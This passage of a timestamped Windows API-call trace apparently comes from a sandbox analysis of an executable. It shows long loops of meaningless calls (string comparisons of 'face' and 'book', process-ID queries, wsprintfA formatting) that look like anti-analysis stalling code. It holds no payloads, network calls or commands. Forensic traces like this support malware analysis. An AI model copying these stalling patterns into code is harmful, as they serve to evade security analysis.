param_1="6E82BAP") returned 7 [0069.327] SetLastError (dwErrCode=0x12) [0069.327] GetCurrentProcessId () returned 0x81c [0069.327] GetCurrentProcessId () returned 0x81c [0069.327] GetCurrentProcessId () returned 0x81c [0069.327] GetCurrentProcessId () returned 0x81c [0069.327] lstrlenA (lpString="just string") returned 11 [0069.327] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.327] GetLastError () returned 0x12 [0069.327] GetCurrentProcessId () returned 0x81c [0069.327] GetCurrentProcessId () returned 0x81c [0069.327] GetCurrentProcessId () returned 0x81c [0069.327] lstrlenA (lpString="just string") returned 11 [0069.327] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.327] GetLastError () returned 0x12 [0069.327] GetLastError () returned 0x12 [0069.327] GetLastError () returned 0x12 [0069.327] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E83AAP") returned 7 [0069.327] SetLastError (dwErrCode=0x12) [0069.327] GetCurrentProcessId () returned 0x81c [0069.327] GetCurrentProcessId () returned 0x81c [0069.327] GetCurrentProcessId () returned 0x81c [0069.327] GetCurrentProcessId () returned 0x81c [0069.327] lstrlenA (lpString="just string") returned 11 [0069.327] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.327] GetLastError () returned 0x12 [0069.327] GetCurrentProcessId () returned 0x81c [0069.327] GetCurrentProcessId () returned 0x81c [0069.327] lstrlenA (lpString="just string") returned 11 [0069.327] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.327] GetLastError () returned 0x12 [0069.327] GetLastError () returned 0x12 [0069.327] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8418P") returned 7 [0069.327] SetLastError (dwErrCode=0x12) [0069.327] GetCurrentProcessId () returned 0x81c [0069.327] GetCurrentProcessId () returned 0x81c [0069.327] GetCurrentProcessId () returned 0x81c [0069.327] GetCurrentProcessId () returned 0x81c [0069.327] lstrlenA (lpString="just string") returned 11 [0069.327] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.327] GetLastError () returned 0x12 [0069.327] lstrlenA (lpString="just string") returned 11 [0069.327] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.327] GetLastError () returned 0x12 [0069.327] GetCurrentProcessId () returned 0x81c [0069.327] GetCurrentProcessId () returned 0x81c [0069.327] GetCurrentProcessId () returned 0x81c [0069.327] lstrlenA (lpString="just string") returned 11 [0069.327] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.327] GetLastError () returned 0x12 [0069.327] GetCurrentProcessId () returned 0x81c [0069.327] GetCurrentProcessId () returned 0x81c [0069.327] lstrlenA (lpString="just string") returned 11 [0069.327] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.327] GetLastError () returned 0x12 [0069.327] GetCurrentProcessId () returned 0x81c [0069.327] lstrlenA (lpString="just string") returned 11 [0069.327] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.327] GetLastError () returned 0x12 [0069.328] GetCurrentProcessId () returned 0x81c [0069.328] lstrlenA (lpString="just string") returned 11 [0069.328] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.328] GetLastError () returned 0x12 [0069.328] lstrlenA (lpString="just string") returned 11 [0069.328] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.328] GetLastError () returned 0x12 [0069.328] GetCurrentProcessId () returned 0x81c [0069.328] GetCurrentProcessId () returned 0x81c [0069.328] GetCurrentProcessId () returned 0x81c [0069.328] lstrlenA (lpString="just string") returned 11 [0069.328] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.328] GetLastError () returned 0x12 [0069.328] GetLastError () returned 0x12 [0069.328] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.328] SetLastError (dwErrCode=0x12) [0069.328] GetCurrentProcess () returned 0xffffffff [0069.328] GetLastError () returned 0x12 [0069.328] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8538P") returned 7 [0069.328] SetLastError (dwErrCode=0x12) [0069.328] GetCurrentProcessId () returned 0x81c [0069.328] GetCurrentProcess () returned 0xffffffff [0069.328] GetLastError () returned 0x12 [0069.328] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8539P") returned 7 [0069.328] SetLastError (dwErrCode=0x12) [0069.328] GetCurrentProcessId () returned 0x81c [0069.328] GetLastError () returned 0x12 [0069.328] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E853AP") returned 7 [0069.328] SetLastError (dwErrCode=0x12) [0069.328] GetCurrentProcessId () returned 0x81c [0069.328] GetCurrentProcessId () returned 0x81c [0069.328] GetCurrentProcessId () returned 0x81c [0069.328] GetCurrentProcessId () returned 0x81c [0069.328] lstrlenA (lpString="just string") returned 11 [0069.328] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.328] GetLastError () returned 0x12 [0069.328] GetLastError () returned 0x12 [0069.328] GetCurrentProcessId () returned 0x81c [0069.328] GetCurrentProcessId () returned 0x81c [0069.328] lstrlenA (lpString="just string") returned 11 [0069.328] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.328] GetLastError () returned 0x12 [0069.328] GetCurrentProcessId () returned 0x81c [0069.328] GetCurrentProcessId () returned 0x81c [0069.328] lstrlenA (lpString="just string") returned 11 [0069.328] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.328] GetLastError () returned 0x12 [0069.328] GetLastError () returned 0x12 [0069.328] GetCurrentProcessId () returned 0x81c [0069.328] GetCurrentProcessId () returned 0x81c [0069.328] GetCurrentProcessId () returned 0x81c [0069.328] lstrlenA (lpString="just string") returned 11 [0069.328] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.328] GetLastError () returned 0x12 [0069.328] GetCurrentProcessId () returned 0x81c [0069.328] GetCurrentProcessId () returned 0x81c [0069.328] GetCurrentProcessId () returned 0x81c [0069.328] lstrlenA (lpString="just string") returned 11 [0069.328] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.328] GetLastError () returned 0x12 [0069.328] GetLastError () returned 0x12 [0069.328] GetLastError () returned 0x12 [0069.328] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E85E4P") returned 7 [0069.329] SetLastError (dwErrCode=0x12) [0069.329] GetCurrentProcessId () returned 0x81c [0069.329] GetCurrentProcessId () returned 0x81c [0069.329] GetCurrentProcessId () returned 0x81c [0069.329] GetCurrentProcessId () returned 0x81c [0069.329] lstrlenA (lpString="just string") returned 11 [0069.329] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.329] GetLastError () returned 0x12 [0069.329] GetLastError () returned 0x12 [0069.329] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.329] SetLastError (dwErrCode=0x12) [0069.329] GetCurrentProcess () returned 0xffffffff [0069.329] GetLastError () returned 0x12 [0069.329] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E863CP") returned 7 [0069.329] SetLastError (dwErrCode=0x12) [0069.329] GetCurrentProcessId () returned 0x81c [0069.329] GetCurrentProcess () returned 0xffffffff [0069.329] GetLastError () returned 0x12 [0069.329] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E863DP") returned 7 [0069.329] SetLastError (dwErrCode=0x12) [0069.329] GetCurrentProcessId () returned 0x81c [0069.329] GetLastError () returned 0x12 [0069.329] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E863EP") returned 7 [0069.329] SetLastError (dwErrCode=0x12) [0069.329] GetCurrentProcessId () returned 0x81c [0069.329] GetCurrentProcessId () returned 0x81c [0069.329] GetCurrentProcessId () returned 0x81c [0069.329] GetCurrentProcessId () returned 0x81c [0069.329] lstrlenA (lpString="just string") returned 11 [0069.329] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.329] GetLastError () returned 0x12 [0069.329] GetCurrentProcessId () returned 0x81c [0069.329] GetCurrentProcessId () returned 0x81c [0069.329] GetCurrentProcessId () returned 0x81c [0069.329] lstrlenA (lpString="just string") returned 11 [0069.329] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.329] GetLastError () returned 0x12 [0069.329] GetLastError () returned 0x12 [0069.329] GetCurrentProcess () returned 0xffffffff [0069.329] GetLastError () returned 0x12 [0069.329] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E86B5P") returned 7 [0069.329] SetLastError (dwErrCode=0x12) [0069.329] GetCurrentProcessId () returned 0x81c [0069.329] GetLastError () returned 0x12 [0069.329] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E86B6P") returned 7 [0069.329] SetLastError (dwErrCode=0x12) [0069.329] GetCurrentProcessId () returned 0x81c [0069.329] GetCurrentProcessId () returned 0x81c [0069.329] GetCurrentProcessId () returned 0x81c [0069.329] GetCurrentProcessId () returned 0x81c [0069.329] lstrlenA (lpString="just string") returned 11 [0069.329] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.329] GetLastError () returned 0x12 [0069.329] GetCurrentProcessId () returned 0x81c [0069.329] lstrlenA (lpString="just string") returned 11 [0069.329] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.329] GetLastError () returned 0x12 [0069.329] GetCurrentProcessId () returned 0x81c [0069.329] lstrlenA (lpString="just string") returned 11 [0069.329] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.329] GetLastError () returned 0x12 [0069.329] GetLastError () returned 0x12 [0069.330] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.330] SetLastError (dwErrCode=0x12) [0069.330] GetCurrentProcess () returned 0xffffffff [0069.330] GetLastError () returned 0x12 [0069.330] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8772P") returned 7 [0069.330] SetLastError (dwErrCode=0x12) [0069.330] GetCurrentProcessId () returned 0x81c [0069.330] GetCurrentProcess () returned 0xffffffff [0069.330] GetLastError () returned 0x12 [0069.330] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8773P") returned 7 [0069.330] SetLastError (dwErrCode=0x12) [0069.330] GetCurrentProcessId () returned 0x81c [0069.330] GetLastError () returned 0x12 [0069.330] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8774P") returned 7 [0069.330] SetLastError (dwErrCode=0x12) [0069.330] GetCurrentProcessId () returned 0x81c [0069.330] GetCurrentProcessId () returned 0x81c [0069.330] GetCurrentProcessId () returned 0x81c [0069.330] GetCurrentProcessId () returned 0x81c [0069.330] lstrlenA (lpString="just string") returned 11 [0069.330] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.330] GetLastError () returned 0x12 [0069.330] GetCurrentProcessId () returned 0x81c [0069.330] GetCurrentProcessId () returned 0x81c [0069.330] lstrlenA (lpString="just string") returned 11 [0069.330] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.330] GetLastError () returned 0x12 [0069.330] GetLastError () returned 0x12 [0069.330] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E87BAP") returned 7 [0069.330] SetLastError (dwErrCode=0x12) [0069.330] GetCurrentProcessId () returned 0x81c [0069.330] GetCurrentProcessId () returned 0x81c [0069.330] GetCurrentProcessId () returned 0x81c [0069.330] GetCurrentProcessId () returned 0x81c [0069.330] lstrlenA (lpString="just string") returned 11 [0069.330] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.330] GetLastError () returned 0x12 [0069.330] GetCurrentProcessId () returned 0x81c [0069.330] GetCurrentProcessId () returned 0x81c [0069.330] GetCurrentProcessId () returned 0x81c [0069.330] lstrlenA (lpString="just string") returned 11 [0069.330] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.330] GetLastError () returned 0x12 [0069.330] GetLastError () returned 0x12 [0069.330] lstrlenA (lpString="just string") returned 11 [0069.330] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.330] GetLastError () returned 0x12 [0069.330] GetLastError () returned 0x12 [0069.330] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.330] SetLastError (dwErrCode=0x12) [0069.330] GetCurrentProcess () returned 0xffffffff [0069.330] GetLastError () returned 0x12 [0069.330] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8830P") returned 7 [0069.330] SetLastError (dwErrCode=0x12) [0069.330] GetCurrentProcessId () returned 0x81c [0069.330] GetCurrentProcess () returned 0xffffffff [0069.330] GetLastError () returned 0x12 [0069.330] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8831P") returned 7 [0069.330] SetLastError (dwErrCode=0x12) [0069.331] GetCurrentProcessId () returned 0x81c [0069.331] GetLastError () returned 0x12 [0069.331] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8832P") returned 7 [0069.331] SetLastError (dwErrCode=0x12) [0069.331] GetCurrentProcessId () returned 0x81c [0069.331] GetCurrentProcessId () returned 0x81c [0069.331] GetCurrentProcessId () returned 0x81c [0069.331] GetCurrentProcessId () returned 0x81c [0069.331] lstrlenA (lpString="just string") returned 11 [0069.331] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.331] GetLastError () returned 0x12 [0069.331] GetCurrentProcess () returned 0xffffffff [0069.331] GetLastError () returned 0x12 [0069.331] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8845P") returned 7 [0069.331] SetLastError (dwErrCode=0x12) [0069.331] GetCurrentProcessId () returned 0x81c [0069.331] GetLastError () returned 0x12 [0069.331] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8846P") returned 7 [0069.331] SetLastError (dwErrCode=0x12) [0069.331] GetCurrentProcessId () returned 0x81c [0069.331] GetCurrentProcessId () returned 0x81c [0069.331] GetCurrentProcessId () returned 0x81c [0069.331] GetCurrentProcessId () returned 0x81c [0069.331] lstrlenA (lpString="just string") returned 11 [0069.331] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.331] GetLastError () returned 0x12 [0069.331] lstrlenA (lpString="just string") returned 11 [0069.331] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.331] GetLastError () returned 0x12 [0069.331] lstrlenA (lpString="just string") returned 11 [0069.331] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.331] GetLastError () returned 0x12 [0069.331] GetLastError () returned 0x12 [0069.331] GetCurrentProcessId () returned 0x81c [0069.331] GetCurrentProcessId () returned 0x81c [0069.331] GetCurrentProcessId () returned 0x81c [0069.331] lstrlenA (lpString="just string") returned 11 [0069.331] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.331] GetLastError () returned 0x12 [0069.331] GetLastError () returned 0x12 [0069.331] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8918P") returned 7 [0069.331] SetLastError (dwErrCode=0x12) [0069.331] GetCurrentProcessId () returned 0x81c [0069.331] GetCurrentProcessId () returned 0x81c [0069.331] GetCurrentProcessId () returned 0x81c [0069.331] GetCurrentProcessId () returned 0x81c [0069.331] lstrlenA (lpString="just string") returned 11 [0069.331] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.331] GetLastError () returned 0x12 [0069.331] GetCurrentProcessId () returned 0x81c [0069.331] GetCurrentProcessId () returned 0x81c [0069.331] GetCurrentProcessId () returned 0x81c [0069.332] lstrlenA (lpString="just string") returned 11 [0069.332] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.332] GetLastError () returned 0x12 [0069.332] GetCurrentProcessId () returned 0x81c [0069.332] GetCurrentProcessId () returned 0x81c [0069.332] GetCurrentProcessId () returned 0x81c [0069.332] lstrlenA (lpString="just string") returned 11 [0069.332] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.332] GetLastError () returned 0x12 [0069.332] GetLastError () returned 0x12 [0069.332] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E89A4P") returned 7 [0069.332] SetLastError (dwErrCode=0x12) [0069.332] GetCurrentProcessId () returned 0x81c [0069.332] GetCurrentProcessId () returned 0x81c [0069.332] GetCurrentProcessId () returned 0x81c [0069.332] GetCurrentProcessId () returned 0x81c [0069.332] lstrlenA (lpString="just string") returned 11 [0069.332] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.332] GetLastError () returned 0x12 [0069.332] GetCurrentProcessId () returned 0x81c [0069.332] GetCurrentProcessId () returned 0x81c [0069.332] GetCurrentProcessId () returned 0x81c [0069.332] lstrlenA (lpString="just string") returned 11 [0069.332] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.332] GetLastError () returned 0x12 [0069.332] GetLastError () returned 0x12 [0069.332] GetLastError () returned 0x12 [0069.332] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.332] SetLastError (dwErrCode=0x12) [0069.332] GetCurrentProcess () returned 0xffffffff [0069.332] GetLastError () returned 0x12 [0069.332] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8A1AP") returned 7 [0069.332] SetLastError (dwErrCode=0x12) [0069.332] GetCurrentProcessId () returned 0x81c [0069.332] GetCurrentProcess () returned 0xffffffff [0069.332] GetLastError () returned 0x12 [0069.332] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8A1BP") returned 7 [0069.332] SetLastError (dwErrCode=0x12) [0069.332] GetCurrentProcessId () returned 0x81c [0069.332] GetLastError () returned 0x12 [0069.332] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8A1CP") returned 7 [0069.332] SetLastError (dwErrCode=0x12) [0069.333] GetCurrentProcessId () returned 0x81c [0069.333] GetCurrentProcessId () returned 0x81c [0069.333] GetCurrentProcessId () returned 0x81c [0069.333] GetCurrentProcessId () returned 0x81c [0069.333] lstrlenA (lpString="just string") returned 11 [0069.333] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.333] GetLastError () returned 0x12 [0069.333] lstrlenA (lpString="just string") returned 11 [0069.333] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.333] GetLastError () returned 0x12 [0069.333] GetLastError () returned 0x12 [0069.333] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8A76P") returned 7 [0069.333] SetLastError (dwErrCode=0x12) [0069.333] GetCurrentProcessId () returned 0x81c [0069.333] GetCurrentProcessId () returned 0x81c [0069.333] GetCurrentProcessId () returned 0x81c [0069.333] GetCurrentProcessId () returned 0x81c [0069.333] lstrlenA (lpString="just string") returned 11 [0069.333] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.333] GetLastError () returned 0x12 [0069.333] GetLastError () returned 0x12 [0069.333] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.333] SetLastError (dwErrCode=0x12) [0069.333] GetCurrentProcess () returned 0xffffffff [0069.333] GetLastError () returned 0x12 [0069.333] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8AA6P") returned 7 [0069.333] SetLastError (dwErrCode=0x12) [0069.333] GetCurrentProcessId () returned 0x81c [0069.333] GetCurrentProcess () returned 0xffffffff [0069.333] GetLastError () returned 0x12 [0069.333] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8AA7P") returned 7 [0069.333] SetLastError (dwErrCode=0x12) [0069.333] GetCurrentProcessId () returned 0x81c [0069.333] GetLastError () returned 0x12 [0069.333] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8AA8P") returned 7 [0069.333] SetLastError (dwErrCode=0x12) [0069.333] GetCurrentProcessId () returned 0x81c [0069.333] GetCurrentProcessId () returned 0x81c [0069.333] GetCurrentProcessId () returned 0x81c [0069.333] GetCurrentProcessId () returned 0x81c [0069.333] lstrlenA (lpString="just string") returned 11 [0069.333] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.334] GetLastError () returned 0x12 [0069.334] GetCurrentProcess () returned 0xffffffff [0069.334] GetLastError () returned 0x12 [0069.334] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8AC5P") returned 7 [0069.334] SetLastError (dwErrCode=0x12) [0069.334] GetCurrentProcessId () returned 0x81c [0069.334] GetLastError () returned 0x12 [0069.334] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8AC6P") returned 7 [0069.334] SetLastError (dwErrCode=0x12) [0069.334] GetCurrentProcessId () returned 0x81c [0069.334] GetCurrentProcessId () returned 0x81c [0069.334] GetCurrentProcessId () returned 0x81c [0069.334] GetCurrentProcessId () returned 0x81c [0069.334] lstrlenA (lpString="just string") returned 11 [0069.334] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.334] GetLastError () returned 0x12 [0069.334] GetLastError () returned 0x12 [0069.334] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.334] SetLastError (dwErrCode=0x12) [0069.334] GetCurrentProcess () returned 0xffffffff [0069.334] GetLastError () returned 0x12 [0069.334] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8B00P") returned 7 [0069.334] SetLastError (dwErrCode=0x12) [0069.334] GetCurrentProcessId () returned 0x81c [0069.334] GetCurrentProcess () returned 0xffffffff [0069.334] GetLastError () returned 0x12 [0069.334] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8B01P") returned 7 [0069.334] SetLastError (dwErrCode=0x12) [0069.334] GetCurrentProcessId () returned 0x81c [0069.334] GetLastError () returned 0x12 [0069.334] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8B02P") returned 7 [0069.334] SetLastError (dwErrCode=0x12) [0069.334] GetCurrentProcessId () returned 0x81c [0069.334] GetCurrentProcessId () returned 0x81c [0069.334] GetCurrentProcessId () returned 0x81c [0069.334] GetCurrentProcessId () returned 0x81c [0069.334] lstrlenA (lpString="just string") returned 11 [0069.334] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.334] GetLastError () returned 0x12 [0069.334] GetLastError () returned 0x12 [0069.335] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.335] SetLastError (dwErrCode=0x12) [0069.335] GetCurrentProcess () returned 0xffffffff [0069.335] GetLastError () returned 0x12 [0069.335] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8B32P") returned 7 [0069.335] SetLastError (dwErrCode=0x12) [0069.335] GetCurrentProcessId () returned 0x81c [0069.335] GetCurrentProcess () returned 0xffffffff [0069.335] GetLastError () returned 0x12 [0069.335] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8B33P") returned 7 [0069.335] SetLastError (dwErrCode=0x12) [0069.335] GetCurrentProcessId () returned 0x81c [0069.335] GetLastError () returned 0x12 [0069.335] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8B34P") returned 7 [0069.335] SetLastError (dwErrCode=0x12) [0069.335] GetCurrentProcessId () returned 0x81c [0069.335] GetCurrentProcessId () returned 0x81c [0069.335] GetCurrentProcessId () returned 0x81c [0069.335] GetCurrentProcessId () returned 0x81c [0069.335] lstrlenA (lpString="just string") returned 11 [0069.335] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.335] GetLastError () returned 0x12 [0069.335] GetLastError () returned 0x12 [0069.335] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.335] SetLastError (dwErrCode=0x12) [0069.335] GetCurrentProcess () returned 0xffffffff [0069.335] GetLastError () returned 0x12 [0069.335] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8B5AP") returned 7 [0069.335] SetLastError (dwErrCode=0x12) [0069.335] GetCurrentProcessId () returned 0x81c [0069.335] GetCurrentProcess () returned 0xffffffff [0069.335] GetLastError () returned 0x12 [0069.335] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8B5BP") returned 7 [0069.335] SetLastError (dwErrCode=0x12) [0069.335] GetCurrentProcessId () returned 0x81c [0069.335] GetLastError () returned 0x12 [0069.335] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8B5CP") returned 7 [0069.335] SetLastError (dwErrCode=0x12) [0069.335] GetCurrentProcessId () returned 0x81c [0069.335] GetCurrentProcessId () returned 0x81c [0069.336] GetCurrentProcessId () returned 0x81c [0069.336] GetCurrentProcessId () returned 0x81c [0069.336] lstrlenA (lpString="just string") returned 11 [0069.336] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.336] GetLastError () returned 0x12 [0069.336] lstrlenA (lpString="just string") returned 11 [0069.336] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.336] GetLastError () returned 0x12 [0069.336] GetLastError () returned 0x12 [0069.336] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8B7AP") returned 7 [0069.336] SetLastError (dwErrCode=0x12) [0069.336] GetCurrentProcessId () returned 0x81c [0069.336] GetCurrentProcessId () returned 0x81c [0069.336] GetCurrentProcessId () returned 0x81c [0069.336] GetCurrentProcessId () returned 0x81c [0069.336] lstrlenA (lpString="just string") returned 11 [0069.336] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.336] GetLastError () returned 0x12 [0069.336] GetLastError () returned 0x12 [0069.336] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8B84P") returned 7 [0069.336] SetLastError (dwErrCode=0x12) [0069.336] GetCurrentProcessId () returned 0x81c [0069.336] GetCurrentProcessId () returned 0x81c [0069.336] GetCurrentProcessId () returned 0x81c [0069.336] GetCurrentProcessId () returned 0x81c [0069.336] lstrlenA (lpString="just string") returned 11 [0069.336] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.336] GetLastError () returned 0x12 [0069.336] GetCurrentProcessId () returned 0x81c [0069.336] GetCurrentProcessId () returned 0x81c [0069.336] lstrlenA (lpString="just string") returned 11 [0069.336] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.336] GetLastError () returned 0x12 [0069.336] GetCurrentProcessId () returned 0x81c [0069.336] lstrlenA (lpString="just string") returned 11 [0069.336] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.336] GetLastError () returned 0x12 [0069.405] lstrlenA (lpString="just string") returned 11 [0069.405] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.405] GetLastError () returned 0x12 [0069.405] GetLastError () returned 0x12 [0069.405] GetLastError () returned 0x12 [0069.405] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.405] SetLastError (dwErrCode=0x12) [0069.405] GetCurrentProcess () returned 0xffffffff [0069.406] GetLastError () returned 0x12 [0069.406] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8CAEP") returned 7 [0069.406] SetLastError (dwErrCode=0x12) [0069.406] GetCurrentProcessId () returned 0x81c [0069.406] GetCurrentProcess () returned 0xffffffff [0069.406] GetLastError () returned 0x12 [0069.406] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8CAFP") returned 7 [0069.406] SetLastError (dwErrCode=0x12) [0069.406] GetCurrentProcessId () returned 0x81c [0069.406] GetLastError () returned 0x12 [0069.406] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8CB0P") returned 7 [0069.406] SetLastError (dwErrCode=0x12) [0069.406] GetCurrentProcessId () returned 0x81c [0069.406] GetCurrentProcessId () returned 0x81c [0069.406] GetCurrentProcessId () returned 0x81c [0069.406] GetCurrentProcessId () returned 0x81c [0069.406] lstrlenA (lpString="just string") returned 11 [0069.406] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.406] GetLastError () returned 0x12 [0069.406] GetLastError () returned 0x12 [0069.406] GetCurrentProcessId () returned 0x81c [0069.406] lstrlenA (lpString="just string") returned 11 [0069.406] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.406] GetLastError () returned 0x12 [0069.406] GetCurrentProcessId () returned 0x81c [0069.406] GetCurrentProcessId () returned 0x81c [0069.406] lstrlenA (lpString="just string") returned 11 [0069.406] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.406] GetLastError () returned 0x12 [0069.406] GetLastError () returned 0x12 [0069.406] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8D3CP") returned 7 [0069.406] SetLastError (dwErrCode=0x12) [0069.406] GetCurrentProcessId () returned 0x81c [0069.406] GetCurrentProcessId () returned 0x81c [0069.406] GetCurrentProcessId () returned 0x81c [0069.406] GetCurrentProcessId () returned 0x81c [0069.406] lstrlenA (lpString="just string") returned 11 [0069.406] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.406] GetLastError () returned 0x12 [0069.406] GetLastError () returned 0x12 [0069.406] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8D6EP") returned 7 [0069.406] SetLastError (dwErrCode=0x12) [0069.406] GetCurrentProcessId () returned 0x81c [0069.406] GetCurrentProcessId () returned 0x81c [0069.406] GetCurrentProcessId () returned 0x81c [0069.406] GetCurrentProcessId () returned 0x81c [0069.406] lstrlenA (lpString="just string") returned 11 [0069.406] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.406] GetLastError () returned 0x12 [0069.406] GetLastError () returned 0x12 [0069.406] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.406] SetLastError (dwErrCode=0x12) [0069.406] GetCurrentProcess () returned 0xffffffff [0069.406] GetLastError () returned 0x12 [0069.406] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8D8AP") returned 7 [0069.406] SetLastError (dwErrCode=0x12) [0069.406] GetCurrentProcessId () returned 0x81c [0069.407] GetCurrentProcess () returned 0xffffffff [0069.407] 